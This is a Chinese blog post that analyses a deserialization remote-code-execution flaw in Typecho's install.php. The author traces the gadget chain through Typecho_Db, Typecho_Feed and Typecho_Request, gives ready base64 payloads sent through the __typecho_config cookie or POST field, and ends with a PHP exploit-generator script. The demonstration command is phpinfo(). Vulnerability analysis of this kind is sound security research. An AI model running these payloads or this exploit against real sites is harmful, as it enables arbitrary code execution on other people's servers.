Typecho install.php存在的反序列化漏洞

這裏寫圖片描述

0x00 前言

很久沒有在安全方面折騰,突然收到“爸爸雲”的短信,“您的服務器xxx.xxx.xxx.xxx存在網站後門,爲防止黑客進一步入侵,請登錄進行查看和處理”。當時正在出差,手頭沒電腦,草草看了一眼沒來得及處理,最近得空研究了研究。常在河邊走,哪有不溼鞋,網上已經有該漏洞的詳解,僅以此文記錄對反序列化漏洞研究的一個學習過程。

0x01 漏洞復現

使用工具:

1、Firefox瀏覽器+HackBar插件

2、Payload

// 下面這段Payload是執行 phpinfo();
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

使用條件:

1、$_GET[‘finish’] 參數不爲空

2、Referer 必須是本站

注:Payload可以通過插入Cookie提交,也可以通過POST提交。

復現:

這裏寫圖片描述

0x02 漏洞探索

一開始收到短信,我還以爲是評論區造成的。先登陸阿里雲後臺看看是什麼問題。

這裏寫圖片描述

本以爲只是無傷大雅的小洞,看了之後一驚,Webshell,嚇得我趕緊登陸服務器,雖然服務器上沒什麼值得竊取的。

這裏寫圖片描述

一句話木馬,expsky應該是一個暱稱,百度一下。

果然是個暱稱,混跡於FreeBuf,最近一篇文章就是關於Typecho反序列化漏洞相關的。本以爲是他把我懟了,看了文章之後才發現原來只是漏洞利用檢測工具的作者。

這裏寫圖片描述

在此感謝expsky

從文章中,得知漏洞存在於install.php文件,附上了漏洞檢測工具,不過並沒有報告漏洞細節。

傳送門Typecho漏洞利用工具首發,半分鐘完成滲透測試

0x03 漏洞細節

得知漏洞所在文件,接下來就研究研究。

漏洞存在與229-235行。

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

程序要運行到此處需要滿足兩個條件

1、$_GET[‘finish’] 參數不爲空

2、Referer 必須是本站

這段代碼第一行先調用了Typecho_Cookie::get()方法獲取$_GET[‘__typecho_config’],跳轉進去可以看一下

這裏寫圖片描述

可以看到,如果cookie裏不存在‘__typecho_config’字段,則從$_POST裏查找。

所以在利用的時候,可以直接使用POST提交‘__typecho_config’

接着往下看

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

獲取到值之後,先base64解碼,然後再用unserialize反序列化,賦值給$config

看到這,那我們input的內容就是要構造一個‘__typecho_config’,來output我們想要的東西。

繼續往下尋找可利用的output的地方。

在反序列化之後,取出config[adapter] config[‘prefix’]實例化了一個Typecho_Db

$db = new Typecho_Db($config['adapter'], $config['prefix']);

繼續跟進Typecho_Db

構造函數在Db.php的114行

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 獲取適配器名稱 */
    $this->_adapterName = $adapterName;

    /** 數據庫適配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化內部變量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //實例化適配器對象
    $this->_adapter = new $adapterName();
}

第120行

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

此處對傳入的$adapterName進行了字符串拼接。

如果傳入的$adapterName,是一個類,那麼在將這個類進行字符串拼接的時候就會觸發這個類的__toString()方法

注:這裏涉及PHP的魔術方法,簡單說一下,魔術方法就是在某些情況下會自動去調用的方法,比如很多面向對象編程語言都存在的構造函數、析構函數等等,都可以理解爲魔術方法。

相關方法以及觸發條件推薦兩個參考鏈接

PHP 魔術方法

PHP中的魔術方法總結

其實下面這張圖已經非常簡單明瞭

這裏寫圖片描述

注:圖片摘自 [Typecho install.php 後門分析 |王鬆_Striker - Web安全與前端]

那我們就來全局搜索一下,看看那些類使用了__toString()方法,可以讓我們進行利用。

其中有三個類有使用__toString()方法

var/Typecho/Config.php

var/Typecho/Feed.php

var/Typecho/Db/Query.php

其中Config.php裏沒什麼好利用的,我們再看一下Feed.phpQuery.php

在Query.php中存在可以觸發_call()的魔術方法,全局搜索跟進_call()魔術方法之後沒有可利用的點,我們直接查看Feed.php

Feed.php,在290行

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

這裏訪問了$item[‘author’]->screenName

我們回顧一下上面說的魔術方法,其中__get()這個方法在讀取不可訪問的數據時觸發

itemforeach( this->_items as item) item[‘author’]設置一個不可訪問的屬性,那就會觸發該類的__get()方法。

到這裏,我們縷一縷思路再繼續

1、從Cookie或者POST的數據中尋找到‘__typecho_config’字段

2、然後調用‘__typecho_config’中的‘adapter’和’prefix’實例化一個Typecho_Db

3、在實例化過程中,採用了字符串拼接訪問了‘adapter’,當我們設置的‘adapter’字段是一個類的話,就會觸發這個類的__toString()魔術方法

4、尋找到Feed這個類中的__toString() 魔術方法,訪問了$item[‘author’]->screenName

5、當$item[‘author’]->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法

好的,至此我們還沒有尋找的可利用的output點,我們繼續全局搜索一下可利用的 ‘__get()’ 方法

在文件Request.php 267行

public function __get($key)
{
    return $this->get($key);
}

跟進get() 293行

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

這一段的判斷條件,都可以控制$value的值

沒有問題,$value的值依然在可控範圍

繼續跟進_applyFilter()

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

在163-164行,使用了array_map()call_user_func()

我們查一下這兩個函數分別是什麼意思

這裏寫圖片描述

這裏寫圖片描述

這下就好玩了,這兩個函數都是代碼執行相關的函數,也就是我們想要的output

剛剛縷了縷思路,我們再來回顧一邊

1、從Cookie或者POST的數據中尋找到‘__typecho_config’字段

2、然後調用‘__typecho_config’中的‘adapter’和’prefix’實例化一個Typecho_Db

3、在實例化過程中,採用了字符串拼接訪問了‘adapter’,當我們設置的‘adapter’字段是一個類的話,就會觸發這個類的__toString()魔術方法

4、尋找到Feed這個類中的__toString() 魔術方法,訪問了$item[‘author’]->screenName

5、當$item[‘author’]->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法

6、Typecho_Request類的魔術方法中,調用了get(),該方法內,檢測了_params[$key]是否存在

7、將_params[$key]的值傳入_applyFilter()方法,並執行代碼

OK.知道條件之後我們就來構造我們的Payload

首先看看我們實際提交的結構

(  // 實例化一個Typecho_Db, 數組必須包含 'adapter'和'prefix'兩個鍵值

    /** 
     * 實例化Typecho_Db時構造函數中進行字符串拼接,
     * 如果值爲對象,則觸發該對象的 __toString()魔術方法
     */
    [adapter] => Typecho_Feed Object  
      (
        /** 
         * 在Feed的__toString()魔術方法中,
         * 290行和358行,訪問了$item['author']->screenName
         * 程序要運行到此處$this->_type必須爲 "RSS 2.0"或者"ATOM 1.0"
         */
        [_type:Typecho_Feed:private] => RSS 2.0  

        /** 
         * 當從不可訪問的屬性中讀取,將會觸發該類的__get()魔術方法
         */
        [_items:Typecho_Feed:private] => Array
          (
            [0] => Array
              (
                /** 
                 * 'category' 用於分支處理,如果不用於回顯數據,此字段可以省略
                 *  此處需要構造非空數組,且成員值爲對象
                 */
                [category] => Array
                  (
                    [0] => Test Object
                      (
                      )
                  )

                /** 
                 *  此處構造滿足觸發Typecho_Request對象的__get()魔術方法
                 */
                [author] => Typecho_Request Object
                  (  // 必須包含兩個鍵值 '_params'和'_filter'

                    /** 
                     * @ 此處爲觸發的關鍵部分
                     * 1、由Feed類中訪問screName觸發Request的__get(),
                     *    在Request.php的290行傳入$key='screenName'
                     * 2、此時get()函數內  $value='phpinfo()'    // 296-297行
                     * 3、繼續判斷了  $value值非數組,且長度大於0  // 307行
                     * 4、將 $value 傳入 _applyFilter()                
                     * 5、判斷 $this->_filter                    // 161行
                     * 6、遍歷 $this->_filter                    // 162行
                     * 7、$value非數組,執行call_user_func($filter, $value)
                     * 8、最終執行結果爲call_user_func(assert, phpinfo())
                     */
                    [_params:Typecho_Request:private] => Array
                      (
                        [screenName] => phpinfo()
                      )

                    [_filter:Typecho_Request:private] => Array
                      (
                        [0] => assert
                      )
                  )
              )
          )
      )

    // 分支處理
    [prefix] => typecho_
)

上面部分可能註釋太多,看起來比較亂,我貼一個沒有註釋的

(
    [adapter] => Typecho_Feed Object
    (
        [_type:Typecho_Feed:private] => RSS 2.0
        [_items:Typecho_Feed:private] => Array
        (
            [0] => Array
            (
                [category] => Array
                    (
                        [0] => Test Object
                            (
                            )
                    )

                [author] => Typecho_Request Object
                (
                    [_params:Typecho_Request:private] => Array
                        (
                            [screenName] => phpinfo()
                        )

                    [_filter:Typecho_Request:private] => Array
                        (
                            [0] => assert
                        )
                )
            )
        )
    )
    [prefix] => typecho_
)

構造完成,序列化後使用base64加密,得到Payload

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

使用方法看文首 0x01 部分

0x05 編寫EXP

<?php
$CMD = 'phpinfo()';

class Typecho_Feed
{
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';

        private $_type;
        private $_items;

        public function __construct() {
                //$this->_type = $this::RSS2;

                $this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}

class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = $GLOBALS[CMD];
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

感謝 王鬆_Strikerp0

附上參考鏈接

Typecho install.php 後門分析

Typecho install.php 反序列化導致任意代碼執行


CSDN:http://blog.csdn.net/byb123

Blog:https://www.wangsansan.com/

公衆號:iamwangsansan (山中書)

歡迎關注

內容不定時更新

歡迎轉載,請註明出處

作者:王三三

鏈接:https://www.wangsansan.com/archives/18/

來源:https://www.wangsansan.com/

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章